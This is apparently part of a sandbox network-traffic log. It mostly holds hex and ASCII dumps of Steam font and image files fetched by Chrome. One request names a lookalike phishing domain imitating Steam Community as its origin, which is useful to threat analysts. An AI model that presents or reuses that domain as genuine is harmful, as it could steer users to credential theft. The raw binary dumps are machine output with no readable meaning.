2024-10-06 12:08:27 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 e3 e4 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 44 f4 60 3e 00 00 01 6c 00 00 75 e8 47 53 55 42 e1 64 c1 db 00 00 77 54 00 00 1b a4 4f 53 2f 32 76 62 a0 f8 00 00 92 f8 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 93 58 00 00 05 8e 63 76 74 20 48 67 0b 08 00 01 d4 2c 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 d4 f4 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 d4 24 00 00 00 08 67 6c 79 66 cf 0e c7 af 00 00 98 e8 00 01 06 58 68 65 61 64 18 0f fb 61 00 01 9f 40 00 00 00 36 68 68 65 61 07 19 06 92 00 01 9f 78 00 00 00 24 68 6d 74 78 b4 4e 4c 2e 00 01 9f 9c 00 00 0c e6 6c 6f 63 61 7b 9c 3a 94 00 01 ac 84 00 00 06 a6 6d 61 78 70 04 a0 0f 12 00 01 b3 2c 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF4,@GPOSD`>luGSUBdwTOS/2vb`cmapdXcvt Hg,fpgm6!gasp$glyfXheada@6hheax$hmtxNL.loca{:maxp, nam
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 06 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff f9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff e9 ff fc 00 0c 00 00 00 13 00 00 00 19 00 06 00 00 00 00 00 00 00 00 ff ba ff cd 00 00 00 00 00 00 00 00 00 00 ff b7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff e6 ff fa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-06 12:08:27 UTC	1810	IN	Data Raw: 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 02 00 02 00 03 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 Data Ascii:
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 00 0c 02 36 02 37 02 38 02 39 02 3a 02 3b 02 3c 02 3d 02 3e 02 3f 02 cc 02 ce 00 01 0a ec ff ec 00 01 0a f0 00 14 00 02 0a f4 00 16 02 40 02 41 02 42 02 43 02 44 02 45 02 46 02 47 02 48 02 49 02 54 02 55 02 56 02 57 02 58 02 59 02 5a 02 5b 02 5c 02 5d 02 d3 02 d4 00 02 0a de 00 df 01 77 01 78 01 79 01 7a 01 7b 01 7c 01 7d 01 7e 01 7f 01 80 01 81 01 82 01 83 01 84 01 85 01 86 01 87 01 88 01 89 01 8a 01 8b 01 8c 01 8d 01 8e 01 8f 01 90 01 91 01 92 01 93 01 94 01 95 01 96 01 97 01 98 01 99 01 9a 01 9b 01 9c 01 9d 01 9e 01 9f 01 a0 01 a1 01 a2 01 a3 01 a4 01 a5 01 a6 01 a7 01 a8 01 a9 01 aa 01 ab 01 ad 01 ae 01 af 01 b0 01 b1 01 b2 01 b3 01 b4 01 b5 01 b6 01 b7 01 c2 01 b9 01 ba 01 bb 01 bc 01 bd 01 be 01 bf 01 c0 01 c1 01 c3 01 c4 01 c5 01 c6 01 c8 01 c9 01 Data Ascii: 6789:;<=>?@ABCDEFGHITUVWXYZ[\]wxyz{\|}~
2024-10-06 12:08:27 UTC	16384	IN	Data Raw: 00 ad 00 00 00 03 03 22 01 c4 00 00 ff ff 00 05 00 00 02 7f 03 b5 00 22 00 ad 00 00 00 03 03 2b 02 74 00 00 ff ff 00 05 00 00 02 7f 03 61 00 22 00 ad 00 00 00 03 03 2a 02 03 00 00 ff ff 00 05 00 00 02 7f 03 93 00 22 00 ad 00 00 00 03 03 29 02 00 00 00 00 01 00 26 00 00 02 4c 02 bc 00 09 00 29 40 26 00 01 02 03 05 01 01 00 02 4c 00 02 02 03 5f 00 03 03 48 4d 00 00 00 01 5f 00 01 01 49 01 4e 11 12 11 11 04 0a 1a 2b 01 01 21 15 21 35 01 21 35 21 02 3e fe 9c 01 72 fd da 01 63 fe ae 02 07 02 5c fe 22 7e 65 01 d9 7e ff ff 00 26 00 00 02 4c 03 8c 00 22 00 b6 00 00 00 03 03 23 02 1d 00 00 ff ff 00 26 00 00 02 4c 03 8c 00 22 00 b6 00 00 00 03 03 26 01 ea 00 00 ff ff 00 26 00 00 02 4c 03 98 00 22 00 b6 00 00 00 03 03 21 01 cb 00 00 00 02 00 24 ff f0 02 25 02 1c 00 Data Ascii: ""+ta"*")&L)@&L_HM_IN+!!5!5!>rc\"~e~&L"#&L"&&L"!$%
2024-10-06 12:08:27 UTC	7952	IN	Data Raw: 08 00 07 21 06 08 17 2b 33 11 33 32 16 15 14 06 23 27 32 36 35 34 26 23 23 11 4b d4 86 9c 9c 86 0c 50 50 50 50 3c 02 3a 8a 8d 94 8f 72 55 5a 55 51 fe ab 00 00 02 00 20 00 00 02 41 02 3a 00 0c 00 19 00 3f 40 3c 06 01 03 07 01 02 04 03 02 67 00 05 05 00 5f 08 01 00 00 2c 4d 09 01 04 04 01 5f 00 01 01 2d 01 4e 0e 0d 01 00 18 17 16 15 14 12 0d 19 0e 19 0b 0a 09 08 07 05 00 0c 01 0c 0a 08 16 2b 01 32 16 15 14 06 23 23 35 23 35 33 11 13 32 36 35 34 26 23 23 15 33 15 23 15 01 1f 86 9c 9c 86 d4 2b 2b c8 50 50 50 50 3c 59 59 02 3a 8a 8d 94 8f f3 46 01 01 fe 38 55 5a 55 51 8e 46 81 00 00 00 ff ff 00 4b 00 00 02 41 03 06 00 22 01 96 00 00 01 07 03 39 01 db 00 2e 00 08 b1 02 01 b0 2e b0 35 2b 00 00 ff ff 00 20 00 00 02 41 02 3a 00 02 01 97 00 00 00 01 00 4b 00 00 01 Data Ascii: !+332#'2654&##KPPPP<:rUZUQ A:?@<g_,M_-N+2##5#532654&##3#++PPPP<YY:F8UZUQFKA"9..5+ A:K
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 10 04 04 2f 2e 2b 29 26 25 21 1f 10 1b 10 1a 16 14 04 0f 04 0e 25 11 10 0c 08 19 2b 13 21 15 21 16 26 35 34 36 33 32 16 15 14 06 23 32 26 35 34 36 33 32 16 15 14 06 23 13 14 06 06 23 22 26 26 35 11 33 11 14 16 33 32 36 35 11 33 b9 01 0d fe f3 0a 25 25 1c 1c 23 24 1b a4 25 25 1d 1b 23 23 1b 89 3f 6d 43 43 6d 3f 86 37 32 32 37 86 03 70 46 ac 20 20 21 20 20 21 20 20 20 20 21 20 20 21 20 20 fe 5c 4d 69 34 34 69 4d 01 60 fe 96 2d 36 36 2d 01 6a ff ff 00 4b ff 45 02 29 02 3a 00 22 02 04 00 00 00 03 03 41 01 ea 00 00 ff ff 00 4b ff f0 02 29 03 0a 00 22 02 04 00 00 01 07 03 35 01 b5 00 2e 00 08 b1 01 01 b0 2e b0 35 2b 00 00 ff ff 00 4b ff f0 02 29 03 32 00 22 02 04 00 00 01 07 03 3e 03 14 00 2e 00 08 b1 01 01 b0 2e b0 35 2b 00 00 00 01 00 4b ff f0 02 96 02 b0 00 Data Ascii: /.+)&%!%+!!&54632#2&54632##"&&5332653%%#$%%##?mCCm?7227pF ! ! ! ! \Mi44iM`-66-jKE):"AK)"5..5+K)2">..5+K
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 27 36 36 33 32 16 15 14 06 07 06 06 15 15 23 16 26 35 34 36 33 32 16 15 14 06 23 a5 21 21 1a 18 28 24 38 34 34 24 64 36 56 61 2a 27 1d 1d 72 18 2e 2e 21 21 2d 2c 22 dd 28 30 1e 17 20 17 1e 1e 26 5a 19 1f 4c 42 2d 3b 22 19 24 17 15 d5 26 24 23 27 27 23 24 26 00 00 00 02 00 2d ff 85 01 a2 01 db 00 0b 00 26 00 3e 40 3b 17 01 02 04 18 01 03 02 02 4c 00 04 00 02 00 04 02 80 05 01 01 00 00 04 01 00 69 00 02 03 03 02 59 00 02 02 03 62 00 03 02 03 52 00 00 26 25 1c 1a 16 14 00 0b 00 0a 24 06 08 17 2b 00 16 15 14 06 23 22 26 35 34 36 33 17 14 06 07 06 06 15 14 16 33 32 37 17 06 06 23 22 26 35 34 36 37 36 36 35 35 33 01 12 2e 2d 22 22 2c 2d 21 39 22 20 1a 18 28 24 3a 32 34 24 64 36 57 60 2a 27 1d 1d 72 01 db 27 23 24 26 26 24 23 27 eb 28 31 1c 17 20 17 1e 1e 26 5b Data Ascii: '6632#&54632#!!($844$d6Va'r..!!-,"(0 &ZLB-;"$&$#''#$&-&>@;LiYbR&%$+#"&5463327#"&546766553.-"",-!9" ($:24$d6W`'r'#$&&$#'(1 &[
2024-10-06 12:08:28 UTC	7952	IN	Data Raw: 02 55 00 41 02 55 00 41 02 55 00 41 02 55 00 41 02 36 00 07 03 1d 00 0c 03 1d 00 0c 03 1d 00 0c 03 1d 00 0c 03 1d 00 0c 02 14 00 09 02 47 00 13 02 47 00 13 02 47 00 13 02 47 00 13 02 47 00 13 02 47 00 13 02 47 00 13 02 47 00 13 02 47 00 13 01 e8 00 27 01 e8 00 27 01 e8 00 27 01 e8 00 27 02 b0 00 19 02 8a 00 19 02 49 00 4b 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 02 4e 00 0f 03 11 00 0f 02 2d 00 4b 02 22 00 26 02 22 00 26 02 22 00 26 02 22 00 26 02 22 00 26 02 22 00 26 02 67 00 4b 02 67 00 20 02 67 00 4b 02 67 00 20 02 02 00 4b 02 02 00 Data Ascii: UAUAUAUA6GGGGGGGGG''''IKNNNNNNNNNNNNNNNNNNNNNNN-K"&"&"&"&"&"&gKg gKg K
2024-10-06 12:08:28 UTC	8144	IN	Data Raw: 75 6e 69 31 45 45 39 07 75 6e 69 31 45 46 31 07 75 6e 69 31 45 45 42 07 75 6e 69 31 45 45 44 07 75 6e 69 31 45 45 46 0d 75 68 75 6e 67 61 72 75 6d 6c 61 75 74 07 75 6d 61 63 72 6f 6e 07 75 6f 67 6f 6e 65 6b 05 75 72 69 6e 67 06 75 74 69 6c 64 65 06 77 61 63 75 74 65 0b 77 63 69 72 63 75 6d 66 6c 65 78 09 77 64 69 65 72 65 73 69 73 06 77 67 72 61 76 65 0b 79 63 69 72 63 75 6d 66 6c 65 78 07 75 6e 69 31 45 46 35 06 79 67 72 61 76 65 07 75 6e 69 31 45 46 37 07 75 6e 69 30 32 33 33 07 75 6e 69 31 45 46 39 06 7a 61 63 75 74 65 0a 7a 64 6f 74 61 63 63 65 6e 74 0a 75 6e 69 31 45 39 45 2e 73 63 04 61 2e 73 63 09 61 61 63 75 74 65 2e 73 63 09 61 62 72 65 76 65 2e 73 63 0a 75 6e 69 31 45 41 46 2e 73 63 0a 75 6e 69 31 45 42 37 2e 73 63 0a 75 6e 69 31 45 42 31 2e 73 Data Ascii: uni1EE9uni1EF1uni1EEBuni1EEDuni1EEFuhungarumlautumacronuogonekuringutildewacutewcircumflexwdieresiswgraveycircumflexuni1EF5ygraveuni1EF7uni0233uni1EF9zacutezdotaccentuni1E9E.sca.scaacute.scabreve.scuni1EAF.scuni1EB7.scuni1EB1.s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49814	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	406	OUT	GET /public/images/account/redeem_wallet_complete_popup.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 22513 Last-Modified: Fri, 05 Jan 2018 22:32:01 GMT ETag: "5a4ffce1-57f1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	16115	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 b7 00 00 00 aa 08 06 00 00 00 2e a8 01 1a 00 00 00 09 70 48 59 73 00 00 12 74 00 00 12 74 01 de 66 1f 78 00 00 0a 4f 69 43 43 50 50 68 6f 74 6f 73 68 6f 70 20 49 43 43 20 70 72 6f 66 69 6c 65 00 00 78 da 9d 53 67 54 53 e9 16 3d f7 de f4 42 4b 88 80 94 4b 6f 52 15 08 20 52 42 8b 80 14 91 26 2a 21 09 10 4a 88 21 a1 d9 15 51 c1 11 45 45 04 1b c8 a0 88 03 8e 8e 80 8c 15 51 2c 0c 8a 0a d8 07 e4 21 a2 8e 83 a3 88 8a ca fb e1 7b a3 6b d6 bc f7 e6 cd fe b5 d7 3e e7 ac f3 9d b3 cf 07 c0 08 0c 96 48 33 51 35 80 0c a9 42 1e 11 e0 83 c7 c4 c6 e1 e4 2e 40 81 0a 24 70 00 10 08 b3 64 21 73 fd 23 01 00 f8 7e 3c 3c 2b 22 c0 07 be 00 01 78 d3 0b 08 00 c0 4d 9b c0 30 1c 87 ff 0f ea 42 99 5c 01 80 84 01 c0 74 91 38 4b Data Ascii: PNGIHDR.pHYsttfxOiCCPPhotoshop ICC profilexSgTS=BKKoR RB&*!J!QEEQ,!{k>H3Q5B.@$pd!s#~<<+"xM0B\t8K
2024-10-06 12:08:27 UTC	6398	IN	Data Raw: f2 22 cb 32 6d 4b 12 23 84 2d 9d cc 91 cf 16 a7 ed f3 45 23 61 da db 5a 47 9d 43 27 c4 6d 2e 7b 6e 96 c5 c1 8d 35 7a 6e de f4 ac b7 c1 c0 f9 6e 07 35 ea 43 c5 7f e7 9b c0 c5 1b a2 d3 2a 70 86 2c f1 c5 b5 09 ae ff f4 07 f8 d7 ed 37 f3 d5 cf 8c 1d 8a 04 f0 05 b5 fd 96 f9 38 9d 84 13 3e 54 5d d9 bb e6 36 86 e7 b6 62 69 98 42 d1 44 a4 94 4c 3f 83 db 05 26 aa 4c 22 c9 12 ad 8b e3 23 92 47 ca 25 93 be ee cc b4 7c 26 43 d7 59 d4 d6 4a bc a1 61 de 1c 7d 24 c4 8d 81 18 76 ae 64 73 d0 a0 b8 55 d9 2a 5e 49 82 69 2c 6e bf a1 4d c5 b5 e6 e7 3e 24 59 96 69 68 88 92 4e 25 eb 2e 70 41 45 e6 ab 07 37 f2 f3 4f 5e c6 03 ff be 83 ab 3e 7d 24 07 1d 18 1b f7 f9 ae 33 3f 4d bb 24 49 24 da 43 38 ee c0 c0 56 c7 09 4b ba ae 27 f6 bb cd 64 e4 22 11 a7 b5 a5 19 6d 1f 2f 4e 92 24 5a Data Ascii: "2mK#-E#aZGC'm.{n5znn5Cp,78>T]6biBDL?&L"#G%\|&CYJa}$vdsU^Ii,nM>$YihN%.pAE7O^>}$3?M$I$C8VK'd"m/N$Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49815	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	685	OUT	GET /public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 133600 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-209e0" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close
2024-10-06 12:08:27 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 02 09 d8 00 00 00 08 47 44 45 46 0b 7c 0d 40 00 00 01 2c 00 00 00 3a 47 50 4f 53 c5 b3 72 1c 00 00 01 68 00 00 8b 64 47 53 55 42 03 65 18 00 00 00 8c cc 00 00 1d 50 4f 53 2f 32 74 d3 9c f2 00 00 aa 1c 00 00 00 60 63 6d 61 70 c9 c4 e3 fb 00 00 aa 7c 00 00 05 96 63 76 74 20 46 74 09 1d 00 01 fa 20 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 fa e8 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 fa 18 00 00 00 08 67 6c 79 66 60 85 de 9d 00 00 b0 14 00 01 14 1c 68 65 61 64 17 e4 fb 31 00 01 c4 30 00 00 00 36 68 68 65 61 07 9d 09 cc 00 01 c4 68 00 00 00 24 68 6d 74 78 83 5b 4f 22 00 01 c4 8c 00 00 0c fe 6c 6f 63 61 70 a0 2b 90 00 01 d1 8c 00 00 06 b2 6d 61 78 70 04 a8 0f 1d 00 01 d8 40 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF\|@,:GPOSrhdGSUBePOS/2t`cmap\|cvt Ft fpgm6!gaspglyf`head106hheah$hmtx[O"locap+maxp@ nam
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 00 00 00 00 00 09 00 00 00 01 00 00 00 00 00 00 00 00 00 01 00 00 00 01 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 01 00 01 00 01 00 00 00 01 00 00 00 00 00 02 ff ff 00 00 00 00 00 00 ff ee 00 00 00 02 ff f9 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 12 ff ce 00 00 ff f7 ff ec 00 01 00 01 ff fa ff f7 ff e2 00 00 ff fe ff e1 00 04 00 00 00 05 00 00 00 02 ff d8 ff e0 ff ec 00 00 00 00 ff f7 ff ee ff f6 ff fc ff e1 ff cf ff e0 ff ea ff ec ff eb ff d2 ff f8 00 00 ff ed 00 04 ff fe ff f8 00 00 00 01 00 01 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 27 ff c9 ff f7 ff 89 ff ed ff Data Ascii: '
2024-10-06 12:08:28 UTC	3382	IN	Data Raw: 00 74 00 39 00 79 00 7c 00 3f 00 81 00 86 00 43 00 89 00 8d 00 49 00 9b 00 a0 00 4e 00 a6 00 b5 00 54 00 ce 00 ce 00 64 00 d1 00 f0 00 65 00 fa 01 0c 00 85 01 0f 01 12 00 98 01 14 01 14 00 9c 01 1a 01 1a 00 9d 01 1c 01 36 00 9e 01 38 01 3b 00 b9 01 43 01 47 00 bd 01 55 01 5a 00 c2 01 5d 01 5d 00 c8 01 60 01 65 00 c9 01 67 01 6f 00 cf 01 74 01 74 00 d8 01 78 01 79 00 d9 01 92 01 92 00 db 01 9e 01 af 00 dc 01 b1 01 b1 00 ee 01 b8 01 cd 00 ef 01 d2 01 d2 01 05 01 d6 01 dc 01 06 01 f5 01 f5 01 0d 02 15 02 1a 01 0e 02 20 02 20 01 14 02 27 02 2f 01 15 02 bd 02 bd 01 1e 02 bf 02 bf 01 1f 02 d0 02 d0 01 20 00 02 00 01 00 02 00 b9 00 00 00 02 00 02 01 7a 01 d3 00 00 01 d5 02 33 00 5a 00 02 00 09 02 9c 02 a0 00 00 02 a4 02 a5 00 05 02 a7 02 a7 00 07 02 a9 02 aa 00 Data Ascii: t9y\|?CINTde68;CGUZ]]`egottxy '/ z3Z
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 02 aa 02 aa 00 1e 02 ae 02 ae 00 1a 02 b0 02 b0 00 1f 02 b1 02 b1 00 24 02 b2 02 b2 00 18 02 b5 02 b8 00 14 02 b9 02 b9 00 1c 02 bd 02 bd 00 13 02 be 02 be 00 12 02 bf 02 bf 00 13 02 c0 02 c0 00 12 02 c1 02 c1 00 22 02 c3 02 c3 00 22 02 c5 02 c5 00 20 02 c6 02 c6 00 21 02 d0 02 d0 00 03 02 f4 02 f4 00 06 00 01 02 35 00 01 00 01 00 02 00 04 02 41 02 41 00 02 02 43 02 43 00 01 02 4b 02 4b 00 02 02 4d 02 4d 00 01 00 02 00 05 00 1b 00 20 00 01 00 38 00 3d 00 01 00 61 00 79 00 01 00 7c 00 7c 00 01 00 88 00 88 00 01 00 01 00 00 00 0a 02 4c 0c de 00 02 44 46 4c 54 00 0e 6c 61 74 6e 00 3e 00 04 00 00 00 00 ff ff 00 13 00 00 00 0b 00 16 00 21 00 2c 00 37 00 42 00 4d 00 61 00 6c 00 77 00 82 00 8d 00 98 00 a3 00 ae 00 b9 00 c4 00 cf 00 3a 00 09 41 5a 45 20 00 66 43 Data Ascii: $"" !5AACCKKMM 8=ay\|\|LDFLTlatn>!,7BMalw:AZE fC
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 03 72 00 22 00 7d 00 00 00 03 03 2c 01 d3 00 00 ff ff 00 1f ff 36 02 56 02 bc 00 22 00 7d 00 00 00 03 03 35 01 84 00 00 00 01 00 0c ff f4 02 3d 02 c9 00 29 00 34 40 31 17 01 02 01 18 03 02 00 02 02 01 03 00 03 4c 00 02 02 01 61 00 01 01 50 4d 00 00 00 03 61 04 01 03 03 51 03 4e 00 00 00 29 00 28 23 2e 24 05 0a 19 2b 16 26 27 37 16 33 32 36 36 35 34 26 26 27 2e 02 35 34 36 36 33 32 17 07 26 23 22 06 15 14 16 16 17 1e 02 15 14 06 06 23 ab 75 2a 28 5a 6a 41 53 26 26 3a 31 3b 4a 33 3a 75 52 79 5a 2c 51 5a 4e 5e 28 3b 33 3b 47 32 3d 7d 5c 0c 23 1d 41 37 27 3b 1f 20 2e 1f 15 1a 2a 47 33 35 5d 38 40 3f 36 44 33 21 30 20 16 1a 29 42 30 34 64 41 00 ff ff 00 0c ff f4 02 3d 03 72 00 22 00 81 00 00 00 03 03 29 02 5f 00 00 ff ff 00 0c ff f4 02 3d 03 72 00 22 00 81 00 Data Ascii: r"},6V"}5=)4@1LaPMaQN)(#.$+&'7326654&&'.546632&#"#u(ZjAS&&:1;J3:uRyZ,QZN^(;3;G2=}\#A7'; .G35]8@?6D3!0 )B04dA=r")_=r"
2024-10-06 12:08:28 UTC	7952	IN	Data Raw: 00 00 06 03 06 00 03 80 00 05 05 53 4d 00 07 07 4b 4d 00 06 06 03 62 00 03 03 51 4d 00 01 01 02 61 00 02 02 55 02 4e 59 59 40 0b 14 2a 23 28 2d 24 17 10 08 0a 1e 2b 24 33 32 37 07 06 06 15 14 33 32 37 07 06 23 22 26 35 34 36 37 26 26 35 34 37 23 06 06 23 22 26 35 34 37 36 35 34 26 23 22 07 37 36 33 32 16 15 14 06 07 06 06 15 14 16 33 32 36 36 37 37 33 07 06 02 15 01 d6 1a 06 0c 0b 21 2a 1f 07 10 07 0f 1a 23 25 2d 26 16 15 0e 04 21 69 3d 38 48 1e 13 0f 0d 0c 07 09 17 1a 21 21 0f 09 0a 11 2f 1f 29 54 46 11 1d 4b 1a 04 36 2b 02 30 23 46 1e 19 02 2d 06 22 1d 1f 4a 23 03 1a 1b 1e 3e 47 51 44 3c 2f a9 6c 10 0f 0c 01 30 07 1f 1c 12 5d 31 37 6a 16 2a 26 46 89 61 a6 8b 16 fe e7 15 00 ff ff 00 55 ff f3 02 2a 02 f7 00 22 01 48 00 00 00 03 03 21 00 9f 00 00 ff ff 00 Data Ascii: SMKMbQMaUNYY@#(-$+$327327#"&5467&&547##"&547654&#"76323266773!#%-&!i=8H!!/)TFK6+0#F-"J#>GQD</l0]17j&FaU"H!
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 13 25 24 07 08 1b 2b 00 17 07 26 26 23 22 06 06 15 14 16 33 32 36 37 37 23 37 33 07 06 06 23 22 26 35 34 36 36 33 01 ec 48 32 1c 4c 2d 46 6c 3c 54 51 2a 48 17 1a 9d 0c e7 2c 28 74 42 67 7a 5f 98 56 02 46 40 3a 19 1d 44 7c 51 5d 5e 19 14 98 3f f6 24 2c 79 7c 70 9e 4f 00 00 00 ff ff 00 32 ff f4 02 34 02 f2 00 22 01 b2 00 00 01 07 03 40 01 f4 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 32 ff f4 02 34 02 ef 00 22 01 b2 00 00 01 07 03 3f 01 f2 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 32 ff f4 02 34 02 f5 00 22 01 b2 00 00 01 07 03 3e 01 ec 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 ff ff 00 32 ff 36 02 34 02 46 00 22 01 b2 00 00 00 03 03 48 01 9b 00 00 ff ff 00 32 ff f4 02 34 02 f5 00 22 01 b2 00 00 01 07 03 3a 01 a5 00 2d 00 08 b1 01 01 b0 2d Data Ascii: %$+&&#"32677#73#"&54663H2L-Fl<TQ*H,(tBgz_VF@:D\|Q]^?$,y\|pO24"@--5+24"?--5+24">--5+264F"H24":--
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: ff ff 00 01 ff 6c 00 f6 00 f9 01 07 02 6d ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff ff e9 ff 6c 01 2f 01 01 01 07 02 6e ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff ff e6 ff 64 01 34 01 01 01 07 02 6f ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff ff e9 ff 6c 01 2d 00 fa 01 07 02 70 ff e6 ff 6c 00 09 b1 00 02 b8 ff 6c b0 35 2b 00 00 00 ff ff ff f4 ff 64 01 35 00 f9 01 07 02 71 ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff 00 01 ff 64 01 4c 01 01 01 07 02 72 ff e6 ff 6c 00 09 b1 00 02 b8 ff 6c b0 35 2b 00 00 00 ff ff ff ed ff 6c 01 27 00 f9 01 07 02 73 ff e6 ff 6c 00 09 b1 00 01 b8 ff 6c b0 35 2b 00 00 00 ff ff ff f7 ff 64 01 46 01 01 01 07 02 74 ff e6 ff 6c 00 09 b1 00 03 b8 ff 6c b0 35 2b 00 00 Data Ascii: lmll5+l/nll5+d4oll5+l-pll5+d5qll5+dLrll5+l'sll5+dFtll5+
